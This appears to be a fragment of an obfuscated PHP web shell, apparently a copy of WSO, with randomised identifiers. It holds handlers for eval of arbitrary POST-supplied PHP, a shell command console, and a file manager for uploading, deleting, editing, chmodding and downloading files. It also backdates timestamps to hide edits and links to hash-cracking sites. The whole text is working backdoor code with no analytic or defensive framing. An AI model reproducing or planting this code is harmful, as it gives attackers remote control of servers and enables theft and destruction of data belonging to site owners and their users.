		eval( $_POST['vcbxl'] );
		$twxq = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes( htmlspecialchars( ob_get_clean() ), "

	\'" ) . "';
";
		echo strlen( $twxq ), "
", $twxq;
		exit;
	}
	if ( empty( $_POST['ektdzy'] ) && ! empty( $_POST['vcbxl'] ) ) {
		kbpfmia( md5( $_SERVER['HTTP_HOST'] ) . 'ajax', 0 );
	}


	nqhvpyso();
	if ( isset( $_POST['gyuv'] ) && ( $_POST['gyuv'] == 'info' ) ) {


		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$rxxc = ob_get_clean();


		$rxxc = preg_replace( array(
			'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
			//'!td, th {(.*)}!msiU',
			'!<img[^>]+>!msiU',

		), array(
			'',
			//'.e, .v, .h, .h th {$jpaod}',
			'',
		), $rxxc );
		echo str_replace( '<h1', '<h2', $rxxc ) . '</div><br>';
	}
	echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . ( ! empty( $_POST['vcbxl'] ) ? htmlspecialchars( $_POST['vcbxl'] ) : '' ) . '</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 ' . ( $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . 'ajax' ] ? 'checked' : '' ) . '> send using AJAX</form><pre id=PhpOutput style="' . ( empty( $_POST['vcbxl'] ) ? 'display:none;' : '' ) . 'margin-top:5px;" class=ml1>';
	if ( ! empty( $_POST['vcbxl'] ) ) {
		ob_start();
		eval( $_POST['vcbxl'] );
		echo htmlspecialchars( ob_get_clean() );
	}
	echo '</pre></div>';
	jmdrev();
}

function actionFilesMan() {


	if ( ! empty( $_COOKIE['hppj'] ) ) {
		$_COOKIE['hppj'] = @unserialize( $_COOKIE['hppj'] );
	}


	if ( ! empty( $_POST['vcbxl'] ) ) {
		switch ( $_POST['vcbxl'] ) {
			case 'uploadFile':
				if ( ! @move_uploaded_file( $_FILES['f']['tmp_name'], $_FILES['f']['name'] ) ) {
					echo "Can't upload file!";
				}
				break;
			case 'mkdir':
				if ( ! @mkdir( $_POST['gyuv'] ) ) {
					echo "Can't create new dir";
				}

				break;
			case 'delete':

				function bbhwo( $ntpcrr ) {
					$ntpcrr = ( substr( $ntpcrr, - 1 ) == '/' ) ? $ntpcrr : $ntpcrr . '/';
					$hkil   = opendir( $ntpcrr );
					while ( ( $wzugpu = readdir( $hkil ) ) !== false ) {
						$wzugpu = $ntpcrr . $wzugpu;
						if ( ( basename( $wzugpu ) == ".." ) || ( basename( $wzugpu ) == "." ) ) {
							continue;
						}
						$zqggx = filetype( $wzugpu );
						if ( $zqggx == "dir" ) {
							bbhwo( $wzugpu );
						} else {
							@unlink( $wzugpu );
						}
					}
					closedir( $hkil );
					@rmdir( $ntpcrr );
				}

				if ( is_array( @$_POST['f'] ) ) {
					foreach ( $_POST['f'] as $lctwp ) {
						if ( $lctwp == '..' ) {
							continue;
						}
						$lctwp = urldecode( $lctwp );
						if ( is_dir( $lctwp ) ) {
							bbhwo( $lctwp );
						} else {
							@unlink( $lctwp );
						}
					}
				}

				break;
			case 'paste':
				if ( $_COOKIE['xqxn'] == 'copy' ) {

					function rvumy( $yeyz, $adqvpb, $svcx ) {
						if ( is_dir( $yeyz . $adqvpb ) ) {
							mkdir( $svcx . $adqvpb );
							$dugrb = @opendir( $yeyz . $adqvpb );
							while ( ( $lctwp = @readdir( $dugrb ) ) !== false ) {
								if ( ( $lctwp != "." ) and ( $lctwp != ".." ) ) {
									rvumy( $yeyz . $adqvpb . '/', $lctwp, $svcx . $adqvpb . '/' );
								}
							}
						} elseif ( is_file( $yeyz . $adqvpb ) ) {
							@copy( $yeyz . $adqvpb, $svcx . $adqvpb );
						}
					}

					foreach ( $_COOKIE['hppj'] as $lctwp ) {
						rvumy( $_COOKIE['mqhjy'], $lctwp, $GLOBALS['bkmrq'] );
					}
				} elseif ( $_COOKIE['xqxn'] == 'move' ) {

					function qhjhtbfvu( $yeyz, $adqvpb, $svcx ) {
						if ( is_dir( $yeyz . $adqvpb ) ) {
							mkdir( $svcx . $adqvpb );
							$dugrb = @opendir( $yeyz . $adqvpb );
							while ( ( $lctwp = @readdir( $dugrb ) ) !== false ) {
								if ( ( $lctwp != "." ) and ( $lctwp != ".." ) ) {
									rvumy( $yeyz . $adqvpb . '/', $lctwp, $svcx . $adqvpb . '/' );
								}
							}
						} elseif ( @is_file( $yeyz . $adqvpb ) ) {
							@copy( $yeyz . $adqvpb, $svcx . $adqvpb );
						}
					}

					foreach ( $_COOKIE['hppj'] as $lctwp ) {
						@rename( $_COOKIE['mqhjy'] . $lctwp, $GLOBALS['bkmrq'] . $lctwp );
					}
				} elseif ( $_COOKIE['xqxn'] == 'zip' ) {
					if ( class_exists( 'ZipArchive' ) ) {
						$zip = new ZipArchive();
						if ( $zip->open( $_POST['gyuv'], 1 ) ) {
							chdir( $_COOKIE['mqhjy'] );
							foreach ( $_COOKIE['hppj'] as $lctwp ) {
								if ( $lctwp == '..' ) {
									continue;
								}

								if ( @is_file( $_COOKIE['mqhjy'] . $lctwp ) ) {
									$zip->addFile( $_COOKIE['mqhjy'] . $lctwp, $lctwp );
								} elseif ( @is_dir( $_COOKIE['mqhjy'] . $lctwp ) ) {
									$jaei = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $lctwp . '/', FilesystemIterator::SKIP_DOTS ) );
									foreach ( $jaei as $lpmfwf => $hewl ) {
										$zip->addFile( realpath( $lpmfwf ), $lpmfwf );
									}
								}
							}
							chdir( $GLOBALS['bkmrq'] );
							$zip->close();
						}
					}
				} elseif ( $_COOKIE['xqxn'] == 'unzip' ) {
					if ( class_exists( 'ZipArchive' ) ) {
						$zip = new ZipArchive();
						foreach ( $_COOKIE['hppj'] as $lctwp ) {
							if ( $zip->open( $_COOKIE['mqhjy'] . $lctwp ) ) {
								$zip->extractTo( $GLOBALS['bkmrq'] );
								$zip->close();
							}
						}
					}
				} elseif ( $_COOKIE['xqxn'] == 'tar' ) {
					chdir( $_COOKIE['mqhjy'] );
					$_COOKIE['hppj'] = array_map( 'escapeshellarg', $_COOKIE['hppj'] );
					vwquufev( 'tar cfzv ' . escapeshellarg( $_POST['gyuv'] ) . ' ' . implode( ' ', $_COOKIE['hppj'] ) );
					chdir( $GLOBALS['bkmrq'] );
				}
				unset( $_COOKIE['hppj'] );
				setcookie('hppj', '', time() - 3600 );
				break;
			default:
				if ( ! empty( $_POST['vcbxl'] ) ) {
					kbpfmia('xqxn', $_POST['vcbxl'] );
					kbpfmia('hppj', serialize( @$_POST['f'] ) );
					kbpfmia('mqhjy', @$_POST['ansxks'] );
				}
				break;
		}
	}
	nqhvpyso();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$rsoim = kabwnw( isset( $_POST['ansxks'] ) ? $_POST['ansxks'] : $GLOBALS['bkmrq'] );
	if ( $rsoim === false ) {
		echo 'Can\'t open this folder!';
		jmdrev();

		return;
	}
	global $qefzbv;
	$qefzbv = array( 'name', 1 );
	if ( ! empty( $_POST['vcbxl'] ) ) {
		if ( preg_match( '!s_([A-z]+)_(\d{1})!', $_POST['vcbxl'], $vawd ) ) {
			$qefzbv = array( $vawd[1], (int) $vawd[2] );
		}
	}
	echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ( $qefzbv[1] ? 0 : 1 ) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ( $qefzbv[1] ? 0 : 1 ) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ( $qefzbv[1] ? 0 : 1 ) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ( $qefzbv[1] ? 0 : 1 ) . "\")'>Permissions</a></th><th>Actions</th></tr>";
	$cnpgy = $qrtppc = array();
	$aiove    = count( $rsoim );
	for ( $shdf = 0; $shdf < $aiove; $shdf ++ ) {
		$jyzqs  = @posix_getpwuid( @fileowner( $rsoim[ $shdf ] ) );
		$bwgrk  = @posix_getgrgid( @filegroup( $rsoim[ $shdf ] ) );
		$rxxc = array(
			'name'   => $rsoim[ $shdf ],
			'path'   => $GLOBALS['bkmrq'] . $rsoim[ $shdf ],
			'modify' => date( 'Y-m-d H:i:s', @filemtime( $GLOBALS['bkmrq'] . $rsoim[ $shdf ] ) ),
			'perms'  => swdedg( $GLOBALS['bkmrq'] . $rsoim[ $shdf ] ),
			'size'   => @filesize( $GLOBALS['bkmrq'] . $rsoim[ $shdf ] ),
			'owner'  => $jyzqs['name'] ? $jyzqs['name'] : @fileowner( $rsoim[ $shdf ] ),
			'group'  => $bwgrk['name'] ? $bwgrk['name'] : @filegroup( $rsoim[ $shdf ] )
		);
		if ( @is_file( $GLOBALS['bkmrq'] . $rsoim[ $shdf ] ) ) {
			$qrtppc[] = array_merge( $rxxc, array( 'type' => 'file' ) );
		} elseif ( @is_link( $GLOBALS['bkmrq'] . $rsoim[ $shdf ] ) ) {
			$cnpgy[] = array_merge( $rxxc, array( 'type' => 'link', 'link' => readlink( $rxxc['path'] ) ) );
		} elseif ( @is_dir( $GLOBALS['bkmrq'] . $rsoim[ $shdf ] ) ) {
			$cnpgy[] = array_merge( $rxxc, array( 'type' => 'dir' ) );
		}
	}
	$GLOBALS['qefzbv'] = $qefzbv;

	function tgfal( $fayit, $srfqp ) {
		if ( $GLOBALS['qefzbv'][0] != 'size' ) {
			return strcmp( strtolower( $fayit[ $GLOBALS['qefzbv'][0] ] ), strtolower( $srfqp[ $GLOBALS['qefzbv'][0] ] ) ) * ( $GLOBALS['qefzbv'][1] ? 1 : - 1 );
		} else {
			return ( ( $fayit['size'] < $srfqp['size'] ) ? - 1 : 1 ) * ( $GLOBALS['qefzbv'][1] ? 1 : - 1 );
		}
	}

	usort( $qrtppc, "tgfal" );
	usort( $cnpgy, "tgfal" );
	$qrtppc = array_merge( $cnpgy, $qrtppc );
	$nnrxb     = 0;
	foreach ( $qrtppc as $lctwp ) {
		echo '<tr' . ( $nnrxb ? ' class=l1' : '' ) . '><td><input type=checkbox name="f[]" value="' . urlencode( $lctwp['name'] ) . '" class=chkbx></td><td><a href=# onclick="' . ( ( $lctwp['type'] == 'file' ) ? 'g(\'FilesTools\',null,\'' . urlencode( $lctwp['name'] ) . '\', \'view\')">' . htmlspecialchars( $lctwp['name'] ) : 'g(\'FilesMan\',\'' . $lctwp['path'] . '\');" ' . ( empty( $lctwp['link'] ) ? '' : "title='{$lctwp['link']}'" ) . '><b>[ ' . htmlspecialchars( $lctwp['name'] ) . ' ]</b>' ) . '</a></td><td>' . ( ( $lctwp['type'] == 'file' ) ? fuimmlv( $lctwp['size'] ) : $lctwp['type'] ) . '</td><td>' . $lctwp['modify'] . '</td><td>' . $lctwp['owner'] . '/' . $lctwp['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode( $lctwp['name'] ) . '\',\'chmod\')">' . $lctwp['perms']
		     . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode( $lctwp['name'] ) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode( $lctwp['name'] ) . '\', \'touch\')">T</a>' . ( ( $lctwp['type'] == 'file' ) ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode( $lctwp['name'] ) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode( $lctwp['name'] ) . '\', \'download\')">D</a>' : '' ) . '</td></tr>';
		$nnrxb = $nnrxb ? 0 : 1;
	}


	echo "<tr><td colspan=7>
	
	<input type=hidden name=hqzol value='" . agwrqomc( 'FilesMan' ) . "'>
	<input type=hidden name=ansxks value='" . agwrqomc( htmlspecialchars( $GLOBALS['bkmrq'] ) ) . "'>
	<input type=hidden name=qurlgv value='" . ( isset( $_POST['qurlgv'] ) ? $_POST['qurlgv'] : '' ) . "'>
	<select name='vcbxl'><option value='" . agwrqomc( 'copy' ) . "'>Copy</option><option value='".agwrqomc('move')."'>Move</option><option value='".agwrqomc('delete')."'>Delete</option>";
	if ( class_exists( 'ZipArchive' ) ) {
		echo "<option value='" . agwrqomc( 'zip' ) . "'>Compress (zip)</option><option value='".agwrqomc('unzip')."'>Uncompress (zip)</option>";
	}
	echo "<option value='" . agwrqomc( 'tar' ) . "'>Compress (tar.gz)</option>";

	if ( ! empty( $_COOKIE['xqxn'] ) && ( isset( $_COOKIE['hppj'] ) && ! empty( $_COOKIE['hppj'] ) ) ) {
		echo "<option value='" . agwrqomc( 'paste' ) . "'>Paste / Compress</option>";
	}

	echo "</select>&nbsp;";

	if ( ! empty( $_COOKIE['xqxn'] ) && ( isset( $_COOKIE['hppj'] ) && ! empty( $_COOKIE['hppj'] ) ) && ( ( $_COOKIE['xqxn'] == 'zip' ) || ( $_COOKIE['xqxn'] == 'tar' ) ) ) {
		$varym = "wso_" . date( "Ymd_His" ) . "." . ( $_COOKIE['xqxn'] == 'zip' ? 'zip' : 'tar.gz' );
		echo "file name: <input type=text name=p2 value='" . agwrqomc($varym) . "'>&nbsp;";
	}

	echo "<input type='submit' value='>>'></td></tr></form></table></div>";

	jmdrev();
}

function actionStringTools() {
	if ( ! function_exists( 'hex2bin' ) ) {

		function hex2bin( $yejo ) {
			return decbin( hexdec( $yejo ) );
		}

	}
	if ( ! function_exists( 'binhex' ) ) {

		function vhtqcyia( $yejo ) {
			return dechex( bindec( $yejo ) );
		}

	}
	if ( ! function_exists( 'hex2ascii' ) ) {

		function titap( $yejo ) {
			$rpvu = '';
			for ( $shdf = 0; $shdf < strLen( $yejo ); $shdf += 2 ) {
				$rpvu .= chr( hexdec( $yejo[ $shdf ] . $yejo[ $shdf + 1 ] ) );
			}

			return $rpvu;
		}

	}
	if ( ! function_exists( 'ascii2hex' ) ) {

		function veuwswod( $yejo ) {
			$rpvu = '';
			for ( $shdf = 0; $shdf < strlen( $yejo ); ++ $shdf ) {
				$rpvu .= sprintf( '%02X', ord( $yejo[ $shdf ] ) );

				return strtoupper( $rpvu );
			}
		}

	}
	if ( ! function_exists( 'full_urlencode' ) ) {

		function sswvsg( $yejo ) {
			$rpvu = '';
			for ( $shdf = 0; $shdf < strlen( $yejo ); ++ $shdf ) {
				$rpvu .= '%' . dechex( ord( $yejo[ $shdf ] ) );

				return strtoupper( $rpvu );
			}
		}

	}
	$sfpg = array(
		'Base64 encode'        => 'base64_encode',
		'Base64 decode'        => 'base64_decode',
		'Url encode'           => 'urlencode',
		'Url decode'           => 'urldecode',
		'Full urlencode'       => 'full_urlencode',
		'md5 hash'             => 'md5',
		'sha1 hash'            => 'sha1',
		'crypt'                => 'crypt',
		'CRC32'                => 'crc32',
		'ASCII to HEX'         => 'ascii2hex',
		'HEX to ASCII'         => 'hex2ascii',
		'HEX to DEC'           => 'hexdec',
		'HEX to BIN'           => 'hex2bin',
		'DEC to HEX'           => 'dechex',
		'DEC to BIN'           => 'decbin',
		'BIN to HEX'           => 'binhex',
		'BIN to DEC'           => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
		'Htmlspecialchars'     => 'htmlspecialchars',
		'String length'        => 'strlen',
	);
	if ( isset( $_POST['ektdzy'] ) ) {
		kbpfmia( md5( $_SERVER['HTTP_HOST'] ) . 'ajax', true );
		ob_start();
		if ( in_array( $_POST['vcbxl'], $sfpg ) ) {
			echo $_POST['vcbxl']( $_POST['gyuv'] );
		}
		$twxq = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes( htmlspecialchars( ob_get_clean() ), "

	\'" ) . "';
";
		echo strlen( $twxq ), "
", $twxq;
		exit;
	}
	if ( empty( $_POST['ektdzy'] ) && ! empty( $_POST['vcbxl'] ) ) {
		kbpfmia( md5( $_SERVER['HTTP_HOST'] ) . 'ajax', 0 );
	}

	nqhvpyso();
	echo '<h1>String conversions</h1><div class=content>';
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
	foreach ( $sfpg as $jgbczk => $bgli ) {
		echo "<option value='" . htmlspecialchars( $bgli ) . "'>" . $jgbczk . "</option>";
	}
	echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . ( @$_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . 'ajax' ] ? 'checked' : '' ) . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . ( empty( $_POST['vcbxl'] ) ? '' : htmlspecialchars( @$_POST['gyuv'] ) ) . "</textarea></form><pre class='ml1' style='" . ( empty( $_POST['vcbxl'] ) ? 'display:none;' : '' ) . "margin-top:5px' id='strOutput'>";
	if ( ! empty( $_POST['vcbxl'] ) ) {
		if ( in_array( $_POST['vcbxl'], $sfpg ) ) {
			echo htmlspecialchars( $_POST['vcbxl']( $_POST['gyuv'] ) );
		}
	}
	echo "</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars( $GLOBALS['bkmrq'] ) . "' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";

	function owildig( $ntpcrr ) {
		if ( substr( $ntpcrr, - 1 ) != '/' ) {
			$ntpcrr .= '/';
		}

		$ufee = @array_unique( @array_merge( @glob( $ntpcrr . $_POST['xjff'] ), @glob( $ntpcrr . '*', GLOB_ONLYDIR ) ) );
		if ( is_array( $ufee ) && @count( $ufee ) ) {
			foreach ( $ufee as $wzugpu ) {
				if ( @is_dir( $wzugpu ) ) {
					if ( $ntpcrr != $wzugpu ) {
						owildig( $wzugpu );
					}
				} else {
					if ( empty( $_POST['gyuv'] ) || @strpos( file_get_contents( $wzugpu ), $_POST['gyuv'] ) !== false ) {
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode( $wzugpu ) . "\", \"view\",\"\")'>" . htmlspecialchars( $wzugpu ) . "</a><br>";
					}
				}
			}
		}
	}

	if ( @$_POST['xjff'] ) {
		owildig( $_POST['ansxks'] );
	}

	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
		</form></div>";
	jmdrev();
}

function actionFilesTools() {
	if ( isset( $_POST['vcbxl'] ) ) {
		$_POST['vcbxl'] = urldecode( $_POST['vcbxl'] );
	}
	if ( @$_POST['gyuv'] == 'download' ) {
		if ( @is_file( $_POST['vcbxl'] ) && @is_readable( $_POST['vcbxl'] ) ) {
			ob_start( "ob_gzhandler", 4096 );
			header( "Content-Disposition: attachment; filename=" . basename( $_POST['vcbxl'] ) );
			if ( function_exists( "mime_content_type" ) ) {
				$zqggx = @mime_content_type( $_POST['vcbxl'] );
				header( "Content-Type: " . $zqggx );
			} else {
				header( "Content-Type: application/octet-stream" );
			}
			$nbrg = @fopen( $_POST['vcbxl'], "r" );
			if ( $nbrg ) {
				while ( ! @feof( $nbrg ) ) {
					echo @fread( $nbrg, 1024 );
				}
				fclose( $nbrg );
			}
		}
		exit;
	}
	if ( @$_POST['gyuv'] == 'mkfile' ) {
		if ( ! file_exists( $_POST['vcbxl'] ) ) {
			$nbrg = @fopen( $_POST['vcbxl'], 'w' );
			if ( $nbrg ) {
				$_POST['gyuv'] = "edit";
				fclose( $nbrg );
			}
		}
	}
	nqhvpyso();
	echo '<h1>File tools</h1><div class=content>';
	if ( ! file_exists( @$_POST['vcbxl'] ) ) {
		echo 'File not exists';
		jmdrev();

		return;
	}
	$hcwkry = @posix_getpwuid( @fileowner( $_POST['vcbxl'] ) );
	if ( ! $hcwkry ) {
		$hcwkry['name'] = @fileowner( $_POST['vcbxl'] );
		$xktbyr['name'] = @filegroup( $_POST['vcbxl'] );
	} else {
		$xktbyr = @posix_getgrgid( @filegroup( $_POST['vcbxl'] ) );
	}
	echo '<span>Name:</span> ' . htmlspecialchars( @basename( $_POST['vcbxl'] ) ) . ' <span>Size:</span> ' . ( is_file( $_POST['vcbxl'] ) ? fuimmlv( filesize( $_POST['vcbxl'] ) ) : '-' ) . ' <span>Permission:</span> ' . swdedg( $_POST['vcbxl'] ) . ' <span>Owner/Group:</span> ' . $hcwkry['name'] . '/' . $xktbyr['name'] . '<br>';
	echo '<span>Change time:</span> ' . date( 'Y-m-d H:i:s', filectime( $_POST['vcbxl'] ) ) . ' <span>Access time:</span> ' . date( 'Y-m-d H:i:s', fileatime( $_POST['vcbxl'] ) ) . ' <span>Modify time:</span> ' . date( 'Y-m-d H:i:s', filemtime( $_POST['vcbxl'] ) ) . '<br><br>';
	if ( empty( $_POST['gyuv'] ) ) {
		$_POST['gyuv'] = 'view';
	}
	if ( is_file( $_POST['vcbxl'] ) ) {
		$pzpg = array( 'View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch' );
	} else {
		$pzpg = array( 'Chmod', 'Rename', 'Touch' );
	}

	foreach ( $pzpg as $bgli ) {
		echo '<a href=# onclick="g(null,null,\'' . urlencode( $_POST['vcbxl'] ) . '\',\'' . strtolower( $bgli ) . '\')">' . ( ( strtolower( $bgli ) == @$_POST['gyuv'] ) ? '<b>[ ' . $bgli . ' ]</b>' : $bgli ) . '</a> ';
	}
	echo '<br><br>';
	switch ( $_POST['gyuv'] ) {
		case 'view':
			echo '<pre class=ml1>';
			$nbrg = @fopen( $_POST['vcbxl'], 'r' );
			if ( $nbrg ) {
				while ( ! @feof( $nbrg ) ) {
					echo htmlspecialchars( @fread( $nbrg, 1024 ) );
				}
				@fclose( $nbrg );
			}
			echo '</pre>';
			break;
		case 'highlight':
			if ( @is_readable( $_POST['vcbxl'] ) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$yhav = @highlight_file( $_POST['vcbxl'], true );
				echo str_replace( array( '<span ', '</span>' ), array( '<font ', '</font>' ), $yhav ) . '</div>';
			}
			break;
		case 'chmod':
			if ( ! empty( $_POST['xjff'] ) ) {
				$fppd = 0;
				for ( $shdf = strlen( $_POST['xjff'] ) - 1; $shdf >= 0; -- $shdf ) {
					$fppd += (int) $_POST['xjff'][ $shdf ] * pow( 8, ( strlen( $_POST['xjff'] ) - $shdf - 1 ) );
				}
				if ( ! @chmod( $_POST['vcbxl'], $fppd ) ) {
					echo 'Can\'t set permissions!<br><script>document.xrpj.p3.value="";</script>';
				}
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode( $_POST['vcbxl'] ) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr( sprintf( '%o', fileperms( $_POST['vcbxl'] ) ), - 4 ) . '"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if ( ! is_writable( $_POST['vcbxl'] ) ) {
				echo 'File isn\'t writeable';
				break;
			}
			if ( ! empty( $_POST['xjff'] ) ) {
				$fjdn        = @filemtime( $_POST['vcbxl'] );
				$_POST['xjff'] = substr( $_POST['xjff'], 1 );
				$nbrg          = @fopen( $_POST['vcbxl'], "w" );
				if ( $nbrg ) {
					@fwrite( $nbrg, $_POST['xjff'] );
					@fclose( $nbrg );
					echo 'Saved!<br><script>p3_="";</script>';
					@touch( $_POST['vcbxl'], $fjdn, $fjdn );
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode( $_POST['vcbxl'] ) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$nbrg = @fopen( $_POST['vcbxl'], 'r' );
			if ( $nbrg ) {
				while ( ! @feof( $nbrg ) ) {
					echo htmlspecialchars( @fread( $nbrg, 1024 ) );
				}
				@fclose( $nbrg );
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$yeyz   = @file_get_contents( $_POST['vcbxl'] );
			$aiove   = 0;
			$dugrb   = array( '00000000<br>', '', '' );
			$bsimda = strlen( $yeyz );
			for ( $shdf = 0; $shdf < $bsimda; ++ $shdf ) {
				$dugrb[1] .= sprintf( '%02X', ord( $yeyz[ $shdf ] ) ) . ' ';
				switch ( ord( $yeyz[ $shdf ] ) ) {
					case 0:
						$dugrb[2] .= ' ';
						break;
					case 9:
						$dugrb[2] .= ' ';
						break;
					case 10:
						$dugrb[2] .= ' ';
						break;
					case 13:
						$dugrb[2] .= ' ';
						break;
					default:
						$dugrb[2] .= $yeyz[ $shdf ];
						break;
				}
				$aiove ++;
				if ( $aiove == 32 ) {
					$aiove = 0;
					if ( $shdf + 1 < $bsimda ) {
						$dugrb[0] .= sprintf( '%08X', $shdf + 1 ) . '<br>';
					}
					$dugrb[1] .= '<br>';
					$dugrb[2] .= "
";
				}
			}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $dugrb[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $dugrb[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars( $dugrb[2] ) . '</pre></td></tr></table>';
			break;
		case 'rename':
			if ( ! empty( $_POST['xjff'] ) ) {
				if ( ! @rename( $_POST['vcbxl'], $_POST['xjff'] ) ) {
					echo 'Can\'t rename!<br>';
				} else {
					die( '<script>g(null,null,"' . urlencode( $_POST['xjff'] ) . '",null,"")</script>' );
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode( $_POST['vcbxl'] ) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars( $_POST['vcbxl'] ) . '"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if ( ! empty( $_POST['xjff'] ) ) {
				$fjdn = strtotime( $_POST['xjff'] );
				if ( $fjdn ) {
					if ( ! touch( $_POST['vcbxl'], $fjdn, $fjdn ) ) {
						echo 'Fail!';
					} else {
						echo 'Touched!';
					}
				} else {
					echo 'Bad time format!';
				}
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode( $_POST['vcbxl'] ) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date( "Y-m-d H:i:s", @filemtime( $_POST['vcbxl'] ) ) . '"><input type=submit value=">>"></form>';
			break;
	}
	echo '</div>';
	jmdrev();
}

function actionConsole() {
	if ( ! empty( $_POST['vcbxl'] ) && ! empty( $_POST['gyuv'] ) ) {
		kbpfmia( md5( $_SERVER['HTTP_HOST'] ) . 'stderr_to_out', true );
		$_POST['vcbxl'] .= ' 2>&1';
	} elseif ( ! empty( $_POST['vcbxl'] ) ) {
		kbpfmia( md5( $_SERVER['HTTP_HOST'] ) . 'stderr_to_out', 0 );
	}

	if ( isset( $_POST['ektdzy'] ) ) {
		kbpfmia( md5( $_SERVER['HTTP_HOST'] ) . 'ajax', true );
		ob_start();
		echo "d.cf.cmd.value='';
";
		$twxq = @iconv( $_POST['qurlgv'], 'UTF-8', addcslashes( "
$ " . $_POST['vcbxl'] . "
" . vwquufev( $_POST['vcbxl'] ), "

	\'" ) );
		if ( preg_match( "!.*cd\s+([^;]+)$!", $_POST['vcbxl'], $vawd ) ) {
			if ( @chdir( $vawd[1] ) ) {
				$GLOBALS['bkmrq'] = @getcwd();
				echo "c_='" . $GLOBALS['bkmrq'] . "';";
			}
		}
		echo "d.cf.output.value+='" . $twxq . "';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$twxq = ob_get_clean();
		echo strlen( $twxq ), "
", $twxq;
		exit;
	}
	if ( empty( $_POST['ektdzy'] ) && ! empty( $_POST['vcbxl'] ) ) {
		kbpfmia( md5( $_SERVER['HTTP_HOST'] ) . 'ajax', 0 );
	}
	nqhvpyso();
	echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
